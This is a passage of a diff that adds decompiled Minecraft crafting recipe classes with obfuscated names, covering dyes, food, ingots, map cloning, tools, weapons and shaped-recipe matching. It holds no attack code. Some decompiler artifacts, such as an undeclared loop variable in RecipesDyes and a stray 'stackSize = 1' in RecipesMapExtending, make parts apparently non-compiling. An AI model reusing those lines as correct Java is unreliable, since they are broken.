+    p_77589_1_.addRecipe(new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.CHISELED_META), new Object[] { "#", "#", Character.valueOf('#'), new ItemStack(Blocks.stone_slab, 1, BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()) });
+    p_77589_1_.addShapelessRecipe(new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.MOSSY_META), new Object[] { Blocks.stonebrick, Blocks.vine });
+    p_77589_1_.addShapelessRecipe(new ItemStack(Blocks.mossy_cobblestone, 1), new Object[] { Blocks.cobblestone, Blocks.vine });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.iron_bars, 16), new Object[] { "###", "###", Character.valueOf('#'), Items.iron_ingot });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.glass_pane, 16), new Object[] { "###", "###", Character.valueOf('#'), Blocks.glass });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.redstone_lamp, 1), new Object[] { " R ", "RGR", " R ", Character.valueOf('R'), Items.redstone, Character.valueOf('G'), Blocks.glowstone });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.beacon, 1), new Object[] { "GGG", "GSG", "OOO", Character.valueOf('G'), Blocks.glass, Character.valueOf('S'), Items.nether_star, Character.valueOf('O'), Blocks.obsidian });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.nether_brick, 1), new Object[] { "NN", "NN", Character.valueOf('N'), Items.netherbrick });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.stone, 2, BlockStone.EnumType.DIORITE.getMetaFromState()), new Object[] { "CQ", "QC", Character.valueOf('C'), Blocks.cobblestone, Character.valueOf('Q'), Items.quartz });
+    p_77589_1_.addShapelessRecipe(new ItemStack(Blocks.stone, 1, BlockStone.EnumType.GRANITE.getMetaFromState()), new Object[] { new ItemStack(Blocks.stone, 1, BlockStone.EnumType.DIORITE.getMetaFromState()), Items.quartz });
+    p_77589_1_.addShapelessRecipe(new ItemStack(Blocks.stone, 2, BlockStone.EnumType.ANDESITE.getMetaFromState()), new Object[] { new ItemStack(Blocks.stone, 1, BlockStone.EnumType.DIORITE.getMetaFromState()), Blocks.cobblestone });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.dirt, 4, BlockDirt.DirtType.COARSE_DIRT.getMetadata()), new Object[] { "DG", "GD", Character.valueOf('D'), new ItemStack(Blocks.dirt, 1, BlockDirt.DirtType.DIRT.getMetadata()), Character.valueOf('G'), Blocks.gravel });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.stone, 4, BlockStone.EnumType.DIORITE_SMOOTH.getMetaFromState()), new Object[] { "SS", "SS", Character.valueOf('S'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.DIORITE.getMetaFromState()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.stone, 4, BlockStone.EnumType.GRANITE_SMOOTH.getMetaFromState()), new Object[] { "SS", "SS", Character.valueOf('S'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.GRANITE.getMetaFromState()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.stone, 4, BlockStone.EnumType.ANDESITE_SMOOTH.getMetaFromState()), new Object[] { "SS", "SS", Character.valueOf('S'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.ANDESITE.getMetaFromState()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.prismarine, 1, BlockPrismarine.ROUGHMETA), new Object[] { "SS", "SS", Character.valueOf('S'), Items.prismarine_shard });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.prismarine, 1, BlockPrismarine.BRICKSMETA), new Object[] { "SSS", "SSS", "SSS", Character.valueOf('S'), Items.prismarine_shard });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.prismarine, 1, BlockPrismarine.DARKMETA), new Object[] { "SSS", "SIS", "SSS", Character.valueOf('S'), Items.prismarine_shard, Character.valueOf('I'), new ItemStack(Items.dye, 1, EnumDyeColor.BLACK.getDyeColorDamage()) });
+    p_77589_1_.addRecipe(new ItemStack(Blocks.sea_lantern, 1, 0), new Object[] { "SCS", "CCC", "SCS", Character.valueOf('S'), Items.prismarine_shard, Character.valueOf('C'), Items.prismarine_crystals });
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesDyes.java b/src/minecraft/net/minecraft/item/crafting/RecipesDyes.java
new file mode 100644
index 0000000..5ccefbd
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesDyes.java
@@ -0,0 +1,63 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+
+
+
+public class RecipesDyes
+{
+  private static final String __OBFID = "CL_00000082";
+  
+  public RecipesDyes() {}
+  
+  public void addRecipes(CraftingManager p_77607_1_)
+  {
+    for (int var2 = 0; var2 < 16; var2++)
+    {
+      p_77607_1_.addShapelessRecipe(new ItemStack(Blocks.wool, 1, var2), new Object[] { new ItemStack(Items.dye, 1, 15 - var2), new ItemStack(Item.getItemFromBlock(Blocks.wool), 1, 0) });
+      p_77607_1_.addRecipe(new ItemStack(Blocks.stained_hardened_clay, 8, 15 - var2), new Object[] { "###", "#X#", "###", Character.valueOf('#'), new ItemStack(Blocks.hardened_clay), Character.valueOf('X'), new ItemStack(Items.dye, 1, var2) });
+      p_77607_1_.addRecipe(new ItemStack(Blocks.stained_glass, 8, 15 - var2), new Object[] { "###", "#X#", "###", Character.valueOf('#'), new ItemStack(Blocks.glass), Character.valueOf('X'), new ItemStack(Items.dye, 1, var2) });
+      p_77607_1_.addRecipe(new ItemStack(Blocks.stained_glass_pane, 16, var2), new Object[] { "###", "###", Character.valueOf('#'), new ItemStack(Blocks.stained_glass, 1, var2) });
+    }
+    
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.YELLOW.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.yellow_flower, 1, BlockFlower.EnumFlowerType.DANDELION.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.POPPY.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 3, EnumDyeColor.WHITE.getDyeColorDamage()), new Object[] { Items.bone });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.PINK.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.ORANGE.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.YELLOW.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.LIME.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.GREEN.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.GRAY.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLACK.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.SILVER.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.GRAY.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 3, EnumDyeColor.SILVER.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLACK.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.LIGHT_BLUE.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.CYAN.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.GREEN.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.PURPLE.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.MAGENTA.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.PURPLE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.PINK.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 3, EnumDyeColor.MAGENTA.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.PINK.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 4, EnumDyeColor.MAGENTA.getDyeColorDamage()), new Object[] { new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new ItemStack(Items.dye, 1, EnumDyeColor.WHITE.getDyeColorDamage()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.LIGHT_BLUE.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.BLUE_ORCHID.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.MAGENTA.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.ALLIUM.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.SILVER.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.HOUSTONIA.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.RED.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.RED_TULIP.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.ORANGE.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.ORANGE_TULIP.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.SILVER.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.WHITE_TULIP.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.PINK.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.PINK_TULIP.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 1, EnumDyeColor.SILVER.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.OXEYE_DAISY.func_176968_b()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.YELLOW.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.double_plant, 1, BlockDoublePlant.EnumPlantType.SUNFLOWER.func_176936_a()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.MAGENTA.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.double_plant, 1, BlockDoublePlant.EnumPlantType.SYRINGA.func_176936_a()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.RED.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.double_plant, 1, BlockDoublePlant.EnumPlantType.ROSE.func_176936_a()) });
+    p_77607_1_.addShapelessRecipe(new ItemStack(Items.dye, 2, EnumDyeColor.PINK.getDyeColorDamage()), new Object[] { new ItemStack(Blocks.double_plant, 1, BlockDoublePlant.EnumPlantType.PAEONIA.func_176936_a()) });
+    
+    for (var2 = 0; var2 < 16; var2++)
+    {
+      p_77607_1_.addRecipe(new ItemStack(Blocks.carpet, 3, var2), new Object[] { "##", Character.valueOf('#'), new ItemStack(Blocks.wool, 1, var2) });
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesFood.java b/src/minecraft/net/minecraft/item/crafting/RecipesFood.java
new file mode 100644
index 0000000..5faa621
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesFood.java
@@ -0,0 +1,29 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemStack;
+
+
+public class RecipesFood
+{
+  private static final String __OBFID = "CL_00000084";
+  
+  public RecipesFood() {}
+  
+  public void addRecipes(CraftingManager p_77608_1_)
+  {
+    p_77608_1_.addShapelessRecipe(new ItemStack(Items.mushroom_stew), new Object[] { Blocks.brown_mushroom, Blocks.red_mushroom, Items.bowl });
+    p_77608_1_.addRecipe(new ItemStack(Items.cookie, 8), new Object[] { "#X#", Character.valueOf('X'), new ItemStack(Items.dye, 1, EnumDyeColor.BROWN.getDyeColorDamage()), Character.valueOf('#'), Items.wheat });
+    p_77608_1_.addRecipe(new ItemStack(Items.rabbit_stew), new Object[] { " R ", "CPM", " B ", Character.valueOf('R'), new ItemStack(Items.cooked_rabbit), Character.valueOf('C'), Items.carrot, Character.valueOf('P'), Items.baked_potato, Character.valueOf('M'), Blocks.brown_mushroom, Character.valueOf('B'), Items.bowl });
+    p_77608_1_.addRecipe(new ItemStack(Items.rabbit_stew), new Object[] { " R ", "CPD", " B ", Character.valueOf('R'), new ItemStack(Items.cooked_rabbit), Character.valueOf('C'), Items.carrot, Character.valueOf('P'), Items.baked_potato, Character.valueOf('D'), Blocks.red_mushroom, Character.valueOf('B'), Items.bowl });
+    p_77608_1_.addRecipe(new ItemStack(Blocks.melon_block), new Object[] { "MMM", "MMM", "MMM", Character.valueOf('M'), Items.melon });
+    p_77608_1_.addRecipe(new ItemStack(Items.melon_seeds), new Object[] { "M", Character.valueOf('M'), Items.melon });
+    p_77608_1_.addRecipe(new ItemStack(Items.pumpkin_seeds, 4), new Object[] { "M", Character.valueOf('M'), Blocks.pumpkin });
+    p_77608_1_.addShapelessRecipe(new ItemStack(Items.pumpkin_pie), new Object[] { Blocks.pumpkin, Items.sugar, Items.egg });
+    p_77608_1_.addShapelessRecipe(new ItemStack(Items.fermented_spider_eye), new Object[] { Items.spider_eye, Blocks.brown_mushroom, Items.sugar });
+    p_77608_1_.addShapelessRecipe(new ItemStack(Items.blaze_powder, 2), new Object[] { Items.blaze_rod });
+    p_77608_1_.addShapelessRecipe(new ItemStack(Items.magma_cream), new Object[] { Items.blaze_powder, Items.slime_ball });
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesIngots.java b/src/minecraft/net/minecraft/item/crafting/RecipesIngots.java
new file mode 100644
index 0000000..a586107
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesIngots.java
@@ -0,0 +1,35 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemStack;
+
+public class RecipesIngots
+{
+  private Object[][] recipeItems;
+  private static final String __OBFID = "CL_00000089";
+  
+  public RecipesIngots()
+  {
+    recipeItems = new Object[][] { { Blocks.gold_block, new ItemStack(Items.gold_ingot, 9) }, { Blocks.iron_block, new ItemStack(Items.iron_ingot, 9) }, { Blocks.diamond_block, new ItemStack(Items.diamond, 9) }, { Blocks.emerald_block, new ItemStack(Items.emerald, 9) }, { Blocks.lapis_block, new ItemStack(Items.dye, 9, EnumDyeColor.BLUE.getDyeColorDamage()) }, { Blocks.redstone_block, new ItemStack(Items.redstone, 9) }, { Blocks.coal_block, new ItemStack(Items.coal, 9, 0) }, { Blocks.hay_block, new ItemStack(Items.wheat, 9) }, { Blocks.slime_block, new ItemStack(Items.slime_ball, 9) } };
+  }
+  
+
+
+
+  public void addRecipes(CraftingManager p_77590_1_)
+  {
+    for (int var2 = 0; var2 < recipeItems.length; var2++)
+    {
+      Block var3 = (Block)recipeItems[var2][0];
+      ItemStack var4 = (ItemStack)recipeItems[var2][1];
+      p_77590_1_.addRecipe(new ItemStack(var3), new Object[] { "###", "###", "###", Character.valueOf('#'), var4 });
+      p_77590_1_.addRecipe(var4, new Object[] { "#", Character.valueOf('#'), var3 });
+    }
+    
+    p_77590_1_.addRecipe(new ItemStack(Items.gold_ingot), new Object[] { "###", "###", "###", Character.valueOf('#'), Items.gold_nugget });
+    p_77590_1_.addRecipe(new ItemStack(Items.gold_nugget, 9), new Object[] { "#", Character.valueOf('#'), Items.gold_ingot });
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesMapCloning.java b/src/minecraft/net/minecraft/item/crafting/RecipesMapCloning.java
new file mode 100644
index 0000000..b6c19c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesMapCloning.java
@@ -0,0 +1,131 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public class RecipesMapCloning implements IRecipe
+{
+  private static final String __OBFID = "CL_00000087";
+  
+  public RecipesMapCloning() {}
+  
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    int var3 = 0;
+    ItemStack var4 = null;
+    
+    for (int var5 = 0; var5 < p_77569_1_.getSizeInventory(); var5++)
+    {
+      ItemStack var6 = p_77569_1_.getStackInSlot(var5);
+      
+      if (var6 != null)
+      {
+        if (var6.getItem() == Items.filled_map)
+        {
+          if (var4 != null)
+          {
+            return false;
+          }
+          
+          var4 = var6;
+        }
+        else
+        {
+          if (var6.getItem() != Items.map)
+          {
+            return false;
+          }
+          
+          var3++;
+        }
+      }
+    }
+    
+    return (var4 != null) && (var3 > 0);
+  }
+  
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    int var2 = 0;
+    ItemStack var3 = null;
+    
+    for (int var4 = 0; var4 < p_77572_1_.getSizeInventory(); var4++)
+    {
+      ItemStack var5 = p_77572_1_.getStackInSlot(var4);
+      
+      if (var5 != null)
+      {
+        if (var5.getItem() == Items.filled_map)
+        {
+          if (var3 != null)
+          {
+            return null;
+          }
+          
+          var3 = var5;
+        }
+        else
+        {
+          if (var5.getItem() != Items.map)
+          {
+            return null;
+          }
+          
+          var2++;
+        }
+      }
+    }
+    
+    if ((var3 != null) && (var2 >= 1))
+    {
+      ItemStack var6 = new ItemStack(Items.filled_map, var2 + 1, var3.getMetadata());
+      
+      if (var3.hasDisplayName())
+      {
+        var6.setStackDisplayName(var3.getDisplayName());
+      }
+      
+      return var6;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public int getRecipeSize()
+  {
+    return 9;
+  }
+  
+  public ItemStack getRecipeOutput()
+  {
+    return null;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem().hasContainerItem()))
+      {
+        var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesMapExtending.java b/src/minecraft/net/minecraft/item/crafting/RecipesMapExtending.java
new file mode 100644
index 0000000..23e9275
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesMapExtending.java
@@ -0,0 +1,82 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.World;
+import net.minecraft.world.storage.MapData;
+
+public class RecipesMapExtending extends ShapedRecipes
+{
+  private static final String __OBFID = "CL_00000088";
+  
+  public RecipesMapExtending()
+  {
+    super(3, 3, new ItemStack[] { new ItemStack(Items.paper), new ItemStack(Items.paper), new ItemStack(Items.paper), new ItemStack(Items.paper), new ItemStack(Items.filled_map, 0, 32767), new ItemStack(Items.paper), new ItemStack(Items.paper), new ItemStack(Items.paper), new ItemStack(Items.paper) }, new ItemStack(Items.map, 0, 0));
+  }
+  
+
+
+
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    if (!super.matches(p_77569_1_, worldIn))
+    {
+      return false;
+    }
+    
+
+    ItemStack var3 = null;
+    
+    for (int var4 = 0; (var4 < p_77569_1_.getSizeInventory()) && (var3 == null); var4++)
+    {
+      ItemStack var5 = p_77569_1_.getStackInSlot(var4);
+      
+      if ((var5 != null) && (var5.getItem() == Items.filled_map))
+      {
+        var3 = var5;
+      }
+    }
+    
+    if (var3 == null)
+    {
+      return false;
+    }
+    
+
+    MapData var6 = Items.filled_map.getMapData(var3, worldIn);
+    return var6 != null;
+  }
+  
+
+
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    ItemStack var2 = null;
+    
+    for (int var3 = 0; (var3 < p_77572_1_.getSizeInventory()) && (var2 == null); var3++)
+    {
+      ItemStack var4 = p_77572_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem() == Items.filled_map))
+      {
+        var2 = var4;
+      }
+    }
+    
+    var2 = var2.copy();
+    stackSize = 1;
+    
+    if (var2.getTagCompound() == null)
+    {
+      var2.setTagCompound(new NBTTagCompound());
+    }
+    
+    var2.getTagCompound().setBoolean("map_is_scaling", true);
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesTools.java b/src/minecraft/net/minecraft/item/crafting/RecipesTools.java
new file mode 100644
index 0000000..7ee8cc7
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesTools.java
@@ -0,0 +1,37 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class RecipesTools
+{
+  private String[][] recipePatterns = { { "XXX", " # ", " # " }, { "X", "#", "#" }, { "XX", "X#", " #" }, { "XX", " #", " #" } };
+  private Object[][] recipeItems;
+  private static final String __OBFID = "CL_00000096";
+  
+  public RecipesTools()
+  {
+    recipeItems = new Object[][] { { Blocks.planks, Blocks.cobblestone, Items.iron_ingot, Items.diamond, Items.gold_ingot }, { Items.wooden_pickaxe, Items.stone_pickaxe, Items.iron_pickaxe, Items.diamond_pickaxe, Items.golden_pickaxe }, { Items.wooden_shovel, Items.stone_shovel, Items.iron_shovel, Items.diamond_shovel, Items.golden_shovel }, { Items.wooden_axe, Items.stone_axe, Items.iron_axe, Items.diamond_axe, Items.golden_axe }, { Items.wooden_hoe, Items.stone_hoe, Items.iron_hoe, Items.diamond_hoe, Items.golden_hoe } };
+  }
+  
+
+
+
+  public void addRecipes(CraftingManager p_77586_1_)
+  {
+    for (int var2 = 0; var2 < recipeItems[0].length; var2++)
+    {
+      Object var3 = recipeItems[0][var2];
+      
+      for (int var4 = 0; var4 < recipeItems.length - 1; var4++)
+      {
+        Item var5 = (Item)recipeItems[(var4 + 1)][var2];
+        p_77586_1_.addRecipe(new ItemStack(var5), new Object[] { recipePatterns[var4], Character.valueOf('#'), Items.stick, Character.valueOf('X'), var3 });
+      }
+    }
+    
+    p_77586_1_.addRecipe(new ItemStack(Items.shears), new Object[] { " #", "# ", Character.valueOf('#'), Items.iron_ingot });
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipesWeapons.java b/src/minecraft/net/minecraft/item/crafting/RecipesWeapons.java
new file mode 100644
index 0000000..54512b8
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipesWeapons.java
@@ -0,0 +1,38 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class RecipesWeapons
+{
+  private String[][] recipePatterns = { { "X", "X", "#" } };
+  private Object[][] recipeItems;
+  private static final String __OBFID = "CL_00000097";
+  
+  public RecipesWeapons()
+  {
+    recipeItems = new Object[][] { { Blocks.planks, Blocks.cobblestone, Items.iron_ingot, Items.diamond, Items.gold_ingot }, { Items.wooden_sword, Items.stone_sword, Items.iron_sword, Items.diamond_sword, Items.golden_sword } };
+  }
+  
+
+
+
+  public void addRecipes(CraftingManager p_77583_1_)
+  {
+    for (int var2 = 0; var2 < recipeItems[0].length; var2++)
+    {
+      Object var3 = recipeItems[0][var2];
+      
+      for (int var4 = 0; var4 < recipeItems.length - 1; var4++)
+      {
+        Item var5 = (Item)recipeItems[(var4 + 1)][var2];
+        p_77583_1_.addRecipe(new ItemStack(var5), new Object[] { recipePatterns[var4], Character.valueOf('#'), Items.stick, Character.valueOf('X'), var3 });
+      }
+    }
+    
+    p_77583_1_.addRecipe(new ItemStack(Items.bow, 1), new Object[] { " #X", "# X", " #X", Character.valueOf('X'), Items.string, Character.valueOf('#'), Items.stick });
+    p_77583_1_.addRecipe(new ItemStack(Items.arrow, 4), new Object[] { "X", "#", "Y", Character.valueOf('Y'), Items.feather, Character.valueOf('X'), Items.flint, Character.valueOf('#'), Items.stick });
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/ShapedRecipes.java b/src/minecraft/net/minecraft/item/crafting/ShapedRecipes.java
new file mode 100644
index 0000000..a6f1dcd
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/ShapedRecipes.java
@@ -0,0 +1,164 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.World;
+
+
+
+
+
+
+public class ShapedRecipes
+  implements IRecipe
+{
+  private final int recipeWidth;
+  private final int recipeHeight;
+  private final ItemStack[] recipeItems;
+  private final ItemStack recipeOutput;
+  private boolean field_92101_f;
+  private static final String __OBFID = "CL_00000093";
+  
+  public ShapedRecipes(int p_i1917_1_, int p_i1917_2_, ItemStack[] p_i1917_3_, ItemStack p_i1917_4_)
+  {
+    recipeWidth = p_i1917_1_;
+    recipeHeight = p_i1917_2_;
+    recipeItems = p_i1917_3_;
+    recipeOutput = p_i1917_4_;
+  }
+  
+  public ItemStack getRecipeOutput()
+  {
+    return recipeOutput;
+  }
+  
+  public ItemStack[] func_179532_b(InventoryCrafting p_179532_1_)
+  {
+    ItemStack[] var2 = new ItemStack[p_179532_1_.getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.length; var3++)
+    {
+      ItemStack var4 = p_179532_1_.getStackInSlot(var3);
+      
+      if ((var4 != null) && (var4.getItem().hasContainerItem()))
+      {
+        var2[var3] = new ItemStack(var4.getItem().getContainerItem());
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    for (int var3 = 0; var3 <= 3 - recipeWidth; var3++)
+    {
+      for (int var4 = 0; var4 <= 3 - recipeHeight; var4++)
+      {
+        if (checkMatch(p_77569_1_, var3, var4, true))
+        {
+          return true;
+        }
+        
+        if (checkMatch(p_77569_1_, var3, var4, false))
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  private boolean checkMatch(InventoryCrafting p_77573_1_, int p_77573_2_, int p_77573_3_, boolean p_77573_4_)
+  {
+    for (int var5 = 0; var5 < 3; var5++)
+    {
+      for (int var6 = 0; var6 < 3; var6++)
+      {
+        int var7 = var5 - p_77573_2_;
+        int var8 = var6 - p_77573_3_;
+        ItemStack var9 = null;
+        
+        if ((var7 >= 0) && (var8 >= 0) && (var7 < recipeWidth) && (var8 < recipeHeight))
+        {
+          if (p_77573_4_)
+          {
+            var9 = recipeItems[(recipeWidth - var7 - 1 + var8 * recipeWidth)];
+          }
+          else
+          {
